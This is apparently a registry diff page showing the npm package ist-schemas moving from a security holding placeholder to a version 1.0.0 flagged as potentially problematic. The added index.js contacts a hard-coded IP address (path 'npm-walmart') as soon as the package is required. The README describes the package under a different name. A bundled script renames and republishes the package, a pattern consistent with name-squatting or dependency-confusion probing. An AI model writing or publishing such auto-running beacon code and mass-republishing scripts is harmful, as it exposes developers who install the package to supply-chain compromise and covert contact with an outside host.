ist-schemas 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ist-schemas might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,42 @@
1
- # Security holding package
1
+ # requests-json-overview-pkg
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ A simple npm module that makes a GET request to a specific endpoint.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=ist-schemas for more information.
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install requests-json-overview-pkg
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ // Just require the package and it will automatically make the request
15
+ require('requests-json-overview-pkg');
16
+
17
+ // Or if you want to use the function directly
18
+ const { makeRequest } = require('requests-json-overview-pkg');
19
+
20
+ // Using async/await
21
+ async function example() {
22
+ try {
23
+ const result = await makeRequest();
24
+ console.log(result);
25
+ } catch (error) {
26
+ console.error(error);
27
+ }
28
+ }
29
+
30
+ // Using promises
31
+ makeRequest()
32
+ .then(result => console.log(result))
33
+ .catch(error => console.error(error));
34
+ ```
35
+
36
+ ## API
37
+
38
+ ### makeRequest()
39
+
40
+ Makes a GET request to the specified endpoint and returns the response data.
41
+
42
+ Returns: Promise that resolves with the response data
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const axios = require('axios');
2
+
3
+ async function makeRequest() {
4
+ try {
5
+ const response = await axios.get('http://15.204.235.57/npm-walmart');
6
+ return response.data;
7
+ } catch (error) {
8
+ throw new Error(`Failed to make request: ${error.message}`);
9
+ }
10
+ }
11
+
12
+ // Execute the request immediately
13
+ makeRequest()
14
+ .then(data => {
15
+ console.log('Request successful:', data);
16
+ })
17
+ .catch(error => {
18
+ console.error('Request failed:', error.message);
19
+ });
20
+
21
+ module.exports = {
22
+ makeRequest
23
+ };
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "ist-schemas",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "A simple module that makes a GET request to a specific endpoint",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^1.6.7"
14
+ }
6
15
  }
@@ -0,0 +1,17 @@
1
+ #!/bin/bash
2
+
3
+ # Check if new package name is provided
4
+ if [ -z "$1" ]; then
5
+ echo "Usage: ./rename-and-publish.sh <new-package-name>"
6
+ exit 1
7
+ fi
8
+
9
+ NEW_NAME=$1
10
+
11
+ # Update package.json with new name
12
+ sed -i '' "s/\"name\": \"station-signal-client-lib\"/\"name\": \"$NEW_NAME\"/" package.json
13
+
14
+ # Publish the package
15
+ npm publish
16
+
17
+ echo "Package renamed to $NEW_NAME and published successfully!"